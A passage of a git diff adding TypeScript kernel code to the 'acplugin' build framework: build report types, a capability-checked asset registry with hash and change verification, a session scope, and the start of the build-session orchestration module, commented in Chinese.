+/** Kernel v2 唯一公开构建报告。 */ +export interface BuildReport { + readonly schemaVersion: 2; + readonly framework: { readonly name: 'acplugin'; readonly version: string }; + readonly compiler: { readonly name: 'rolldown'; readonly version: string }; + readonly success: boolean; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly committed: boolean; + readonly components: readonly ComponentReport[]; + readonly runtimes: readonly RuntimeReport[]; + readonly extensions: readonly ExtensionReport[]; + readonly platforms: readonly PlatformReport[]; + readonly packages: readonly PackageUnitReport[]; + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; + readonly diagnostics: readonly Diagnostic[]; +} + +/** Project 创建时固定的工程身份选项。 */ +export interface CreateProjectOptions { + readonly cwd?: string; + readonly configFile?: string; +} + +/** 单次 Project 执行选项。 */ +export interface ProjectRunOptions { + readonly command?: 'validate' | 'inspect' | 'build'; + readonly mode?: BuildMode; + readonly platforms?: readonly string[]; + readonly commit?: boolean; +} + +/** 持续构建 Session 选项。 */ +export interface ProjectDevOptions { + readonly mode?: BuildMode; + readonly platforms?: readonly string[]; + readonly commit?: boolean; +} + +/** runProject convenience 的组合选项。 */ +export interface RunProjectOptions extends CreateProjectOptions, ProjectRunOptions {} + +/** DevSession 发布的稳定事件。 */ +export type DevSessionEvent = { + readonly type: 'build-start'; + readonly sequence: number; + readonly changes: readonly string[]; +} | { + readonly type: 'build-complete'; + readonly sequence: number; + readonly changes: readonly string[]; + readonly report: BuildReport; +} | { + readonly type: 'closed'; + readonly sequence: number; + readonly report: BuildReport; +}; + +/** Core 独占 Watch ownership 的持续构建句柄。 */ +export interface DevSession { + /** 最近一次成功报告;首次构建失败时由该初始失败报告暂时播种。 */ + readonly current: BuildReport; + /** 订阅稳定 DevSession 事件并返回取消函数。 */ + subscribe(listener: (event: DevSessionEvent) => void): () => void; + /** 幂等关闭 Watch 与当前 BuildSession;cleanup 失败也会先完成 closed 终态。 */ + close(): Promise; + /** 无论 cleanup 是否失败都在唯一 closed 事件发布后解析。 */ + readonly closed: Promise; +} + +/** 绑定同一工程配置身份的程序化 Project。 */ +export interface Project { + /** 使用固定工程身份执行一次 BuildSession。 */ + run(options?: ProjectRunOptions): Promise; + /** 使用相同 Kernel 创建持续构建 Session。 */ + dev(options?: ProjectDevOptions): Promise; +} diff --git a/packages/core/src/kernel/asset-registry.ts b/packages/core/src/kernel/asset-registry.ts new file mode 100644 index 0000000..b20a42a --- /dev/null +++ b/packages/core/src/kernel/asset-registry.ts @@ -0,0 +1,531 @@ +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import type { + AssetMode, + AssetOrigin, + AssetRef, + AssetService, + BytesAssetRef, + CompileAssetOriginInput, + GeneratedAssetRef, + GeneratedBytesOriginInput, + SourceAssetRef, + SourceFileRef, +} from '../kernel-types.js'; +import { BuildSessionScope } from './build-session-scope.js'; +import { compareCodePoints, safeRelativePath, validatePhysicalEntry } from './path-policy.js'; +import { SourceRegistry } from './source-registry.js'; +import type { WorkDirectoryHandle } from './work-directories.js'; +import { WorkDirectoryRegistry } from './work-directories.js'; + +/** Asset Registry 公开给后续 Package/Report 层的冻结元数据。 */ +export interface AssetRecord { + readonly id: string; + readonly kind: AssetRef['kind']; + readonly owner: string; + readonly mode: AssetMode; + readonly size: number; + readonly sha256: string; + readonly origin: AssetOrigin; +} + +/** Distribution callback 期间新签发 Asset 的一次性授权范围。 */ +export interface AssetIssuanceScope { + readonly service: AssetService; + /** @returns 当前 ref 是否由本 scope 新签发。 */ + readonly includes: (asset: AssetRef) => boolean; + /** 关闭后拒绝 callback 泄漏的 service 继续签发或读取。 */ + readonly close: () => void; +} + +/** Asset 物化前仍需保留的私有来源。 */ +type AssetSource = { + readonly type: 'bytes'; + readonly bytes: Uint8Array; +} | { + readonly type: 'file'; + readonly file: string; + readonly root: string; +}; + +/** AssetRef 对应的完整私有授权记录。 */ +interface InternalAssetRecord extends AssetRecord { + readonly session: object; + readonly source: AssetSource; +} + +/** Asset 读取操作的默认单次字节上限。 */ +const DEFAULT_ASSET_READ_LIMIT = 16 * 1024 * 1024; + +/** Asset 读取操作允许的 Core 固定最大上限。 */ +const MAX_ASSET_READ_LIMIT = 64 * 1024 * 1024; + +/** 稳定 operation、job、output 与 subject 共用的 ID 规则。 */ +const STABLE_ORIGIN_ID = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/; + +/** + * 计算不可变 Asset 字节摘要。 + * + * @param bytes 输入字节。 + * @returns SHA-256 十六进制摘要。 + */ +function hashBytes(bytes: Uint8Array): string { + return createHash('sha256').update(bytes).digest('hex'); +} + +/** + * 读取并哈希一个已验证普通文件。 + * + * @param file 文件绝对路径。 + * @returns 文件字节、长度和摘要。 + */ +async function readAndHashFile(file: string): Promise<{ readonly bytes: Uint8Array; readonly size: number; readonly sha256: string }> { + /** readFile 结果复制为精确 Uint8Array snapshot。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + return Object.freeze({ bytes, size: bytes.byteLength, sha256: hashBytes(bytes) }); +} + +/** + * 验证 Asset 文件权限。 + * + * @param value 调用方可选 mode。 + * @param fallback 未提供时使用的模式。 + * @returns 0644 或 0755。 + */ +function assetMode(value: AssetMode | undefined, fallback: AssetMode): AssetMode { + /** 未显式提供 mode 时使用来源或调用阶段决定的安全默认。 */ + const mode = value ?? fallback; + if (mode !== 0o644 && mode !== 0o755) + throw new Error('Asset mode must be 0644 or 0755.'); + return mode; +} + +/** + * 验证 Asset 读取上限。 + * + * @param value 调用方请求值。 + * @returns Core 固定范围内的正整数。 + */ +function assetReadLimit(value: number | undefined): number { + /** 省略时使用固定默认,显式值仍不得扩大 Core 上限。 */ + const limit = value ?? DEFAULT_ASSET_READ_LIMIT; + if (!Number.isSafeInteger(limit) || limit <= 0 || limit > MAX_ASSET_READ_LIMIT) + throw new Error(`Asset read limit must be an integer between 1 and ${MAX_ASSET_READ_LIMIT}.`); + return limit; +} + +/** + * 验证稳定来源文本不会承载路径、凭据或任意日志。 + * + * @param value 待验证文本。 + * @param label 诊断字段名称。 + * @returns 原始稳定文本。 + */ +function stableOriginId(value: unknown, label: string): string { + if (typeof value !== 'string' || !STABLE_ORIGIN_ID.test(value)) + throw new Error(`${label} must be a stable lowercase identifier.`); + return value; +} + +/** + * 验证 Compiler module report 使用的安全逻辑来源引用。 + * + * @param value project-relative、virtual 或 package identity。 + * @returns 不包含物理绝对路径的原始引用。 + */ +function safeOriginReference(value: unknown): string { + if (typeof value !== 'string' || value.length === 0 || value.includes('\0') || value.includes('\\')) + throw new Error('Compile Asset input must be a safe logical source reference.'); + if (value.startsWith('package:')) { + if (!/^package:(?:@[a-z0-9._-]+\/)?[a-z0-9._-]+@[0-9A-Za-z.+-]+(?:\/[A-Za-z0-9._/-]+)?$/.test(value) + || value.split('/').includes('..')) { + throw new Error('Compile Asset package input is invalid.'); + } + return value; + } + if (value.startsWith('virtual:')) { + if (!/^virtual:[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/.test(value)) + throw new Error('Compile Asset virtual input is invalid.'); + return value; + } + safeRelativePath(value); + return value; +} + +/** 与单次 BuildSession 绑定的 Source、Bytes 与 Generated Asset Registry。 */ +export class AssetRegistry { + /** 当前 BuildSession 的共享存活与身份边界。 */ + readonly #scope: BuildSessionScope; + /** 用于校验 SourceFileRef 原始授权的 Source Registry。 */ + readonly #sources: SourceRegistry; + /** 用于校验 Generated file workDir 授权的 Registry。 */ + readonly #workDirectories: WorkDirectoryRegistry; + /** AssetRef 的对象身份授权记录。 */ + readonly #records = new WeakMap(); + /** owner 闭包之外显式授予的 read/inherit 权限。 */ + readonly #grants = new WeakMap>(); + /** owner 内单调递增且不受其他 owner 并行完成顺序影响的 ref 序号。 */ + readonly #ownerSequences = new Map(); + + /** + * 创建当前 BuildSession 唯一 Asset Registry。 + * + * @param scope 当前 BuildSession capability scope。 + * @param sources 当前 Session Source Registry。 + * @param workDirectories 当前 Session owner workDir Registry。 + */ + constructor(scope: BuildSessionScope, sources: SourceRegistry, workDirectories: WorkDirectoryRegistry) { + this.#scope = scope; + this.#sources = sources; + this.#workDirectories = workDirectories; + } + + /** + * 为 owner 创建闭包绑定的 SDK AssetService。 + * + * @param owner 当前 Platform、Extension 或 Framework Resource owner。 + * @returns 不允许调用方自报 owner 的服务。 + */ + service(owner: string): AssetService { + /** 显式接口注解为对象方法提供 SDK 参数的上下文类型。 */ + const service: AssetService = { + /** 从当前 owner 的 SourceFileRef 创建来源 Asset。 */ + fromSource: (source, options) => this.issueSource(owner, source, options), + /** 从复制后的内存字节创建生成 Asset。 */ + fromBytes: input => this.issueBytes(owner, input), + /** 按 owner 或显式 grant 读取 Asset snapshot。 */ + read: (asset, options) => this.read(owner, asset, options), + }; + return Object.freeze(service); + } + + /** + * 为单次 Distribution callback 创建可撤销的 Asset Service。 + * + * @param owner 当前 Platform owner。 + * @returns 记录本次新签发 ref 且 callback 后可关闭的 scope。 + */ + issuanceScope(owner: string): AssetIssuanceScope { + this.#scope.assertActive(); + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Asset issuance owner must be a non-empty string.'); + /** issued 只记录通过本 scope 返回给 callback 的新 ref identity。 */ + const issued = new WeakSet(); + /** active 关闭 callback 后撤销泄漏 service 的全部方法。 */ + let active = true; + /** 每个方法入口统一复核 scope 仍处于授权期。 */ + const assertActive = (): void => { + if (!active) + throw new Error('Asset issuance scope is no longer active.'); + this.#scope.assertActive(); + }; + /** 新签发 ref 在返回 Integration 前登记到当前 scope。 */ + const remember = (asset: T): T => { + issued.add(asset); + return asset; + }; + /** service 保持公开 AssetService 形态但带可撤销 closure。 */ + const service: AssetService = { + /** scope 内 SourceAsset 签发后记录 identity。 */ + fromSource: async (source, options) => { + assertActive(); + return remember(await this.issueSource(owner, source, options)); + }, + /** scope 内 BytesAsset 签发后记录 identity。 */ + fromBytes: async (input) => { + assertActive(); + return remember(await this.issueBytes(owner, input)); + }, + /** callback 读取也受 scope 生命周期约束。 */ + read: async (asset, options) => { + assertActive(); + return this.read(owner, asset, options); + }, + }; + return Object.freeze({ + service: Object.freeze(service), + /** includes 只能查询对象 identity,不暴露签发集合。 */ + includes: (asset: AssetRef) => issued.has(asset), + /** close 幂等撤销 callback 能力。 */ + close: () => { active = false; }, + }); + } + + /** + * 生成本 Session 内唯一但不包含路径语义的 Asset ID。 + * + * @param owner Asset owner。 + * @param kind Asset 来源类别。 + * @returns 只用于安全逻辑引用的稳定形状 ID。 + */ + #nextId(owner: string, kind: AssetRef['kind']): string { + /** owner-local sequence 防止并发 Integration 通过自身 ref ID 观察彼此调度。 */ + const sequence = (this.#ownerSequences.get(owner) ?? 0) + 1; + this.#ownerSequences.set(owner, sequence); + /** hash 避免把任意 owner 文本直接暴露为 ref ID。 */ + const ownerHash = createHash('sha256').update(owner).digest('hex').slice(0, 12); + return `${kind}:${ownerHash}:${sequence}`; + } + + /** + * 为内部记录签发对应的冻结 AssetRef。 + * + * @param input 不含 Session 与 ref ID 的记录输入。 + * @returns 对象身份进入 WeakMap 的 SDK ref。 + */ + #issue(input: Omit): AssetRef { + this.#scope.assertActive(); + /** 每个 ref identity 都使用当前 Session 内部唯一 ID。 */ + const id = this.#nextId(input.owner, input.kind); + /** 公开对象只包含安全 kind/id;绝对路径与 bytes 留在 WeakMap。 */ + const reference = Object.freeze({ kind: input.kind, id }) as AssetRef; + /** origin 与外层元数据均已冻结,私有 source 不通过公开对象可达。 */ + const record = Object.freeze({ ...input, id, session: this.#scope.token }); + this.#records.set(reference, record); + return reference; + } + + /** + * 从当前 owner 的 SourceFileRef 创建 SourceAssetRef。 + * + * @param owner 当前 Context owner。 + * @param source 当前 owner 的精确来源文件。 + * @param options 可选目标 mode。 + * @returns 保留来源 origin 的 AssetRef。 + */ + async issueSource( + owner: string, + source: SourceFileRef, + options: { readonly mode?: AssetMode } = {}, + ): Promise { + this.#scope.assertActive(); + /** SourceRegistry WeakMap authorization 同时阻止伪造和跨 owner ref。 */ + const sourceRecord = this.#sources.authorizeFile(owner, source); + /** 签发前重新验证来源文件类型与 realpath。 */ + const stat = await validatePhysicalEntry(sourceRecord.root, sourceRecord.physicalPath, 'file'); + /** 签发时记录精确字节摘要用于 TOCTOU 检查。 */ + const content = await readAndHashFile(sourceRecord.physicalPath); + if (content.size !== sourceRecord.size || content.sha256 !== sourceRecord.sha256) + throw new Error(`Source file changed after its reference was issued: "${sourceRecord.reportPath}".`); + /** Source origin 只包含安全 Resource owner 和工程相对路径。 */ + const origin = Object.freeze({ type: 'source' as const, resource: owner, path: sourceRecord.reportPath }); + return this.#issue({ + kind: 'source-asset', + owner, + mode: assetMode(options.mode, stat.mode & 0o111 ? 0o755 : 0o644), + size: content.size, + sha256: content.sha256, + origin, + source: Object.freeze({ type: 'file', file: sourceRecord.physicalPath, root: sourceRecord.root }), + }) as SourceAssetRef; + } + + /** + * 从复制后的内存字节创建 BytesAssetRef。 + * + * @param owner 当前 Context owner。 + * @param input 字节、mode 与结构化来源。 + * @returns 不受调用方后续 mutation 影响的 AssetRef。 + */ + async issueBytes(owner: string, input: { + readonly bytes: Uint8Array | string; + readonly mode?: AssetMode; + readonly origin: GeneratedBytesOriginInput; + }): Promise { + this.#scope.assertActive(); + if (typeof input !== 'object' || input === null) + throw new Error('Bytes Asset input must be an object.'); + /** 字符串按 UTF-8 编码,Uint8Array 必须复制底层存储。 */ + const bytes = typeof input.bytes === 'string' ? new TextEncoder().encode(input.bytes) : Uint8Array.from(input.bytes); + /** subjects 是稳定标识集合,复制、去重并按 code point 排序。 */ + const subjects = input.origin.subjects?.map(subject => stableOriginId(subject, 'Generated Asset subject')).sort(compareCodePoints); + if (subjects !== undefined && new Set(subjects).size !== subjects.length) + throw new Error('Generated Asset subjects must not contain duplicates.'); + /** owner 由闭包覆盖,调用方只能填写 operation/subjects。 */ + const origin = Object.freeze({ + type: 'generated' as const, + owner, + operation: stableOriginId(input.origin.operation, 'Generated Asset operation'), + ...(subjects === undefined ? {} : { subjects: Object.freeze(subjects) }), + }); + return this.#issue({ + kind: 'bytes-asset', + owner, + mode: assetMode(input.mode, 0o644), + size: bytes.byteLength, + sha256: hashBytes(bytes), + origin, + source: Object.freeze({ type: 'bytes', bytes }), + }) as BytesAssetRef; + } + + /** + * 由 Compiler Host 从 owner workDir 普通文件签发 GeneratedAssetRef。 + * + * @param owner Compiler Context 固定 owner。 + * @param workDirectory 当前 owner 的 workDir 句柄。 + * @param relativeFile workDir-relative 输出文件。 + * @param mode 输出权限。 + * @param origin 编译 job/output/input 来源。 + * @returns 带 TOCTOU 文件来源的生成 Asset。 + */ + async issueGenerated( + owner: string, + workDirectory: WorkDirectoryHandle, + relativeFile: string, + mode: AssetMode, + origin: CompileAssetOriginInput, + ): Promise { + this.#scope.assertActive(); + /** WorkDirectoryRegistry 验证对象 identity、owner、Session、symlink 与普通文件类型。 */ + const generated = await this.#workDirectories.generatedFile(owner, workDirectory, relativeFile); + /** 签发时读取精确生成文件快照用于摘要和 TOCTOU 基线。 */ + const content = await readAndHashFile(generated.file); + /** 编译来源 inputs 使用安全 path/package/virtual identity 且稳定排序。 */ + const inputs = origin.inputs.map(safeOriginReference).sort(compareCodePoints); + if (new Set(inputs).size !== inputs.length) + throw new Error('Compile Asset inputs must not contain duplicates.'); + /** profile/kind 是 Execution/Report 依赖的结构化 compile provenance。 */ + if (origin.profile !== 'portable-node' && origin.profile !== 'managed-rolldown') + throw new Error('Compile Asset profile is invalid.'); + if (origin.kind !== 'chunk' && origin.kind !== 'asset' && origin.kind !== 'licenses') + throw new Error('Compile Asset kind is invalid.'); + /** owner 同样由 Host 闭包覆盖。 */ + const assetOrigin = Object.freeze({ + type: 'compile' as const, + owner, + job: stableOriginId(origin.job, 'Compile job'), + output: stableOriginId(origin.output, 'Compile output'), + profile: origin.profile, + kind: origin.kind, + inputs: Object.freeze(inputs), + }); + return this.#issue({ + kind: 'generated-asset', + owner, + mode: assetMode(mode, 0o644), + size: content.size, + sha256: content.sha256, + origin: assetOrigin, + source: Object.freeze({ type: 'file', file: generated.file, root: generated.root }), + }) as GeneratedAssetRef; + } + + /** + * 显式授予另一个 owner 读取或继承一个既有 AssetRef。 + * + * @param granter 当前 ref owner。 + * @param grantee 获得权限的 Platform 或 Framework owner。 + * @param asset 当前 Session 原始 ref 对象。 + */ + grant(granter: string, grantee: string, asset: AssetRef): void { + this.#scope.assertActive(); + if (typeof grantee !== 'string' || grantee.length === 0) + throw new Error('Asset grantee must be a non-empty owner.'); + if (typeof asset !== 'object' || asset === null) + throw new Error('Asset reference is not authorized for this BuildSession.'); + /** grant 只接受原始 ref owner,已有 grantee 不能继续转授权。 */ + const record = this.#records.get(asset); + if (record === undefined || record.session !== this.#scope.token || record.owner !== granter) + throw new Error('Only the Asset owner can grant access.'); + /** grant 与原 ref 对象 identity 绑定,复制等形对象无法继承。 */ + const grants = this.#grants.get(asset) ?? new Set(); + grants.add(grantee); + this.#grants.set(asset, grants); + } + + /** + * 授权并返回当前 Session 的内部 Asset 记录。 + * + * @param owner 当前 Context owner。 + * @param asset 待使用 AssetRef。 + * @returns 当前 Registry 内部记录。 + */ + #authorize(owner: string, asset: unknown): InternalAssetRecord { + this.#scope.assertActive(); + if (typeof asset !== 'object' || asset === null) + throw new Error('Asset reference is not authorized for this BuildSession.'); + /** WeakMap 对象身份是运行时授权唯一依据。 */ + const record = this.#records.get(asset); + if (record === undefined || record.session !== this.#scope.token + || (record.owner !== owner && !this.#grants.get(asset)?.has(owner))) { + throw new Error('Asset reference is not authorized for this owner and BuildSession.'); + } + return record; + } + + /** + * 读取一个 owner 可访问的 Asset snapshot。 + * + * @param owner 当前 Context owner。 + * @param asset 当前 Session 原始 AssetRef。 + * @param options 可选读取上限。 + * @returns 复制且不共享内部存储的字节。 + */ + async read(owner: string, asset: AssetRef, options: { readonly maxBytes?: number } = {}): Promise { + /** 当前 owner 必须是 issuer 或显式 grantee。 */ + const record = this.#authorize(owner, asset); + /** 单次读取始终受 Core 最大值约束。 */ + const limit = assetReadLimit(options.maxBytes); + if (record.size > limit) + throw new Error(`Asset "${record.id}" exceeds the requested read limit.`); + if (record.source.type === 'bytes') + return Uint8Array.from(record.source.bytes); + /** 文件型 Asset 每次读取前执行 TOCTOU preflight。 */ + const bytes = await this.#verifiedFileBytes(record); + return Uint8Array.from(bytes); + } + + /** + * 在 candidate/stage 物化前复核 Asset 并返回字节。 + * + * @param owner 当前被授权物化的 owner。 + * @param asset 当前 Session 原始 AssetRef。 + * @returns 与签发摘要一致的精确字节。 + */ + async materializationBytes(owner: string, asset: AssetRef): Promise { + /** Materializer 也必须持有当前 Session 的明确 grant。 */ + const record = this.#authorize(owner, asset); + if (record.source.type === 'bytes') + return Uint8Array.from(record.source.bytes); + return this.#verifiedFileBytes(record); + } + + /** + * 复核文件类型、realpath、size 与 hash。 + * + * @param record 文件型 Asset 内部记录。 + * @returns 当前精确字节。 + */ + async #verifiedFileBytes(record: InternalAssetRecord): Promise { + if (record.source.type !== 'file') + throw new Error('Internal Asset source invariant failed.'); + await validatePhysicalEntry(record.source.root, record.source.file, 'file'); + /** 当前文件内容必须仍与签发 snapshot 摘要相同。 */ + const current = await readAndHashFile(record.source.file); + if (current.size !== record.size || current.sha256 !== record.sha256) + throw new Error(`Asset source changed after it was issued: ${record.id}.`); + return current.bytes; + } + + /** + * 返回不包含私有来源的 Asset 元数据。 + * + * @param owner 当前具有访问 grant 的 owner。 + * @param asset 当前 Session 原始 AssetRef。 + * @returns 可进入 Package snapshot/report 的冻结记录。 + */ + describe(owner: string, asset: AssetRef): AssetRecord { + /** 描述操作不能旁路与读取相同的授权边界。 */ + const record = this.#authorize(owner, asset); + return Object.freeze({ + id: record.id, + kind: record.kind, + owner: record.owner, + mode: record.mode, + size: record.size, + sha256: record.sha256, + origin: record.origin, + }); + } +} diff --git a/packages/core/src/kernel/build-session-scope.ts b/packages/core/src/kernel/build-session-scope.ts new file mode 100644 index 0000000..8c92b36 --- /dev/null +++ b/packages/core/src/kernel/build-session-scope.ts @@ -0,0 +1,28 @@ +/** + * 绑定一次 BuildSession 内所有 capability registry 的存活状态。 + * + * Scope 本身不通过 SDK 暴露;SourceRef/AssetRef 的运行时授权仍由各 Registry + * 的 WeakMap 对象身份记录完成。 + */ +export class BuildSessionScope { + /** 当前 Session 是否仍允许使用已签发能力。 */ + #active = true; + + /** 当前 Scope 独占且不可从公开 ref 恢复的身份 token。 */ + readonly token: Readonly> = Object.freeze({}); + + /** + * 确认当前 BuildSession 仍处于活动状态。 + * + * @throws Session 已关闭时抛出稳定错误。 + */ + assertActive(): void { + if (!this.#active) + throw new Error('BuildSession capabilities are no longer active.'); + } + + /** 使本 Session 已签发的全部能力立即失效。 */ + close(): void { + this.#active = false; + } +} diff --git a/packages/core/src/kernel/build-session.ts b/packages/core/src/kernel/build-session.ts new file mode 100644 index 0000000..1caea88 --- /dev/null +++ b/packages/core/src/kernel/build-session.ts @@ -0,0 +1,1077 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import type { + AcpluginExtension, + BuildMode, + BuildReport, + CanonicalProject, + ConfigCommand, + ExtensionIntegrationDescription, + ExtensionReport, + ExtensionSession, + IntegrationCloseContext, + IntegrationDescription, + PackageUnitSnapshot, + PlatformIntegrationDescription, + PlatformReport, + PlatformSession, + ProjectRunOptions, + ResolvedConfigSummary, +} from '../kernel-types.js'; +import { CompilerHost } from '../compiler/compiler-host.js'; +import { commitPackageUnits } from '../transaction.js'; +import { collectDistributionPackages } from '../package/distribution-registry.js'; +import { CompatibilityRegistry } from '../package/compatibility-registry.js'; +import { withPackageCandidate, materializePackageUnits, validatePackageUnits } from '../package/candidate-materializer.js'; +import { + createBasePackage, + finalizePrimaryPackage, + mergePackageContributions, + type OwnedPackageContribution, +} from '../package/package-registry.js'; +import { createBuildReport } from '../package/report-builder.js'; +import { discoverCanonicalProject } from '../resources/canonical-provider.js'; +import { + buildExtension, + collectExtensionContributions, + discoverExtension, + preflightExtensionConsumers, + validateExtension, + type BuiltExtensionState, + type ExtensionConsumerPlan, +} from '../resources/extension-provider.js'; +import { assembleProjectGraph } from '../resources/project-graph.js'; +import { discoverPublicResources } from '../resources/public-provider.js'; +import { ResourceRegistry } from '../resources/resource-registry.js'; +import { + buildNodeRuntime, + discoverNodeRuntime, + nodeRuntimeContribution, + platformSupportsNodeRuntime, + type BuiltNodeRuntime, +} from '../resources/runtime-provider.js'; +import { AssetRegistry } from './asset-registry.js'; +import { BuildSessionScope } from './build-session-scope.js'; +import type { ResolvedKernelConfig, ResolvedPlatform } from './config-resolver.js'; +import { dataObjectFields } from './data-boundary.js'; +import { DiagnosticRegistry } from './diagnostic-registry.js'; +import { ExecutionHost } from './execution-host.js'; +import { ModuleHost } from './module-host.js'; +import { compareCodePoints } from './path-policy.js'; +import { sanitizeStableText } from './report-safety.js'; +import { SourceRegistry } from './source-registry.js'; +import { WatchRegistry, type WatchSnapshot } from './watch-registry.js'; +import { WorkDirectoryRegistry } from './work-directories.js'; + +/** Kernel one-shot 执行所需的内部输入。 */ +export interface KernelBuildSessionInput { + readonly config: ResolvedKernelConfig; + readonly frameworkVersion: string; + readonly selection?: readonly string[]; + readonly commit: boolean; + /** 配置加载阶段已经创建的 Session 服务;省略时由本函数完整拥有。 */ + readonly environment?: KernelBuildEnvironment; +} + +/** Project config loader 与 BuildSession 共享的唯一 Host/Registry 环境。 */ +export interface KernelBuildEnvironment { + readonly scope: BuildSessionScope; + readonly workRoot: string; + readonly sources: SourceRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly watch: WatchRegistry; + readonly assets: AssetRegistry; + readonly modules: ModuleHost; + readonly compiler: CompilerHost; + readonly execution: ExecutionHost; + readonly diagnostics: DiagnosticRegistry; +} + +/** 内部执行结果为 DevSession 保留安全 Watch snapshot。 */ +export interface KernelBuildSessionResult { + readonly report: BuildReport; + readonly watch: WatchSnapshot; +} + +/** 已完成 setup 且必须逆序关闭的 Integration。 */ +type InitializedIntegration = { + readonly kind: 'platform'; + readonly id: string; + readonly session: PlatformSession; +} | { + readonly kind: 'extension'; + readonly id: string; + readonly session: ExtensionSession; +}; + +/** 选中 Platform 与其 setup Session。 */ +interface PlatformRuntime { + readonly resolved: ResolvedPlatform; + readonly description: PlatformIntegrationDescription; + readonly session: PlatformSession; +} + +/** Extension definition 与其 setup Session。 */ +interface ExtensionRuntime { + readonly definition: AcpluginExtension; + readonly description: ExtensionIntegrationDescription; + readonly session: ExtensionSession; +} + +/** 每个 validated consumer plan 的显式 build 终态。 */ +type ExtensionPlanBuildStatus = Readonly<{ + readonly plan: ExtensionConsumerPlan; + readonly status: 'skipped' | 'failed'; +}> | Readonly<{ + readonly plan: ExtensionConsumerPlan; + readonly status: 'built'; + readonly built: BuiltExtensionState; +}>; + +/** @returns 当前 Platform 是否依赖一个已失败 Extension 的 Built State。 */ +function platformConsumesFailedExtension( + platform: string, + builds: readonly ExtensionPlanBuildStatus[], +): boolean { + return builds.some(build => build.status === 'failed' + && build.plan.consumers.some(consumer => consumer.platform.id === platform && consumer.contributor !== undefined)); +} + +/** 生命周期内部可稳定传递的首个失败摘要。 */ +interface FailureSummary { + readonly code: string; + readonly phase: string; + readonly message: string; +} + +/** 生命周期失败优先级用于 cleanup 摘要,不依赖并发完成或诊断字典序。 */ +const FAILURE_PHASE_ORDER = Object.freeze([ + 'config', 'setup', 'discover', 'validate', 'compile', 'package', 'contribute', 'finalize', + 'materialize', 'platform-validate', 'compatibility', 'transaction', 'cleanup', 'dev', 'internal', +] as const); + +/** @returns 当前稳定诊断集合是否包含匹配的 error。 */ +function hasMatchingError( + diagnostics: DiagnosticRegistry, + predicate: (diagnostic: BuildReport['diagnostics'][number]) => boolean, +): boolean { + return diagnostics.diagnostics.some(diagnostic => diagnostic.severity === 'error' && predicate(diagnostic)); +} + +/** @returns 当前 Platform 是否已经在自己的 validate/package 阶段失败。 */ +function platformHasErrors(diagnostics: DiagnosticRegistry, platform: string): boolean { + return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === platform); +} + +/** @returns 不属于单一 Integration 的工程级失败是否阻止全部 Package 消费。 */ +function projectHasErrors(diagnostics: DiagnosticRegistry): boolean { + return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === undefined && diagnostic.extension === undefined); +} + +/** 创建一次 BuildSession 唯一的 Host/Registry 图。 */ +export async function createKernelBuildEnvironment(projectRoot: string): Promise { + /** 所有 Integration 中间文件共享一个由 Core 独占的临时父目录。 */ + const workRoot = await fs.mkdtemp(path.join(os.tmpdir(), '.acplugin-work-')); + /** capability scope 在最终报告建立后统一撤销。 */ + const scope = new BuildSessionScope(); + /** Source/Watch/Work registries 是全部 Host 的共同授权基础。 */ + const sources = new SourceRegistry(scope, projectRoot); + /** 每个 owner 只会获得自己的不可伪造 workDir handle。 */ + const workDirectories = new WorkDirectoryRegistry(scope, workRoot); + /** Watch Registry 集中接收 Resource、Module 和 Compiler observations。 */ + const watch = new WatchRegistry(scope, projectRoot); + /** Asset Registry 绑定当前 Source 与 workDir identities。 */ + const assets = new AssetRegistry(scope, sources, workDirectories); + /** 三个 Host 只读取上述同一组 Registry。 */ + const modules = new ModuleHost({ projectRoot, sources, workDirectories, watch }); + /** Compiler Host 是当前 BuildSession 唯一 Rolldown compile owner。 */ + const compiler = new CompilerHost({ projectRoot, sources, workDirectories, assets, watch }); + /** Execution Host 只运行本 Session 的 portable generated refs。 */ + const execution = new ExecutionHost({ assets, workDirectories }); + return Object.freeze({ + scope, + workRoot, + sources, + workDirectories, + watch, + assets, + modules, + compiler, + execution, + diagnostics: new DiagnosticRegistry(), + }); +} + +/** 撤销全部 capability 并删除当前 Session 中间文件。 */ +export async function disposeKernelBuildEnvironment(environment: KernelBuildEnvironment): Promise { + environment.scope.close(); + await fs.rm(environment.workRoot, { recursive: true, force: true }); +} + +/** @returns Platform 的不可变公开身份。 */ +function platformDescription(platform: ResolvedPlatform): PlatformIntegrationDescription { + return Object.freeze({ + kind: 'platform', + id: platform.definition.id, + apiVersion: platform.definition.apiVersion, + ...(platform.definition.options === undefined ? {} : { options: platform.definition.options }), + ...(platform.definition.capabilities === undefined ? {} : { capabilities: platform.definition.capabilities }), + }); +} + +/** @returns Extension 的不可变公开身份。 */ +function extensionDescription(extension: AcpluginExtension): ExtensionIntegrationDescription { + return Object.freeze({ + kind: 'extension', + id: extension.id, + apiVersion: extension.apiVersion, + ...(extension.options === undefined ? {} : { options: extension.options }), + resourceRoots: extension.resourceRoots, + }); +} + +/** 解析显式 Platform subset 并保持原配置顺序。 */ +function selectPlatforms(config: ResolvedKernelConfig, selection: readonly string[] | undefined): readonly ResolvedPlatform[] { + if (selection === undefined) + return config.platforms; + if (!Array.isArray(selection) || selection.length === 0) + throw new TypeError('Platform selection must contain at least one configured Platform.'); + /** 选择输入在任何 Session factory 运行前拒绝重复与未知 ID。 */ + const requested = [...selection]; + if (requested.some(id => typeof id !== 'string') || new Set(requested).size !== requested.length) + throw new TypeError('Platform selection must contain unique Platform ids.'); + /** configured 用于在 setup 前拒绝未知 Platform。 */ + const configured = new Set(config.platforms.map(platform => platform.definition.id)); + /** unknown 按稳定键排序后只进入内部异常,不泄露配置对象。 */ + const unknown = requested.filter(id => !configured.has(id)); + if (unknown.length > 0) + throw new TypeError(`Platform selection contains an unconfigured id: ${unknown.sort(compareCodePoints)[0]}.`); + /** 返回顺序始终使用配置顺序而非 CLI 参数顺序。 */ + const selected = new Set(requested); + return Object.freeze(config.platforms.filter(platform => selected.has(platform.definition.id))); +} + +/** 验证 Platform Session 精确方法面。 */ +function platformSession(value: unknown, id: string): PlatformSession { + 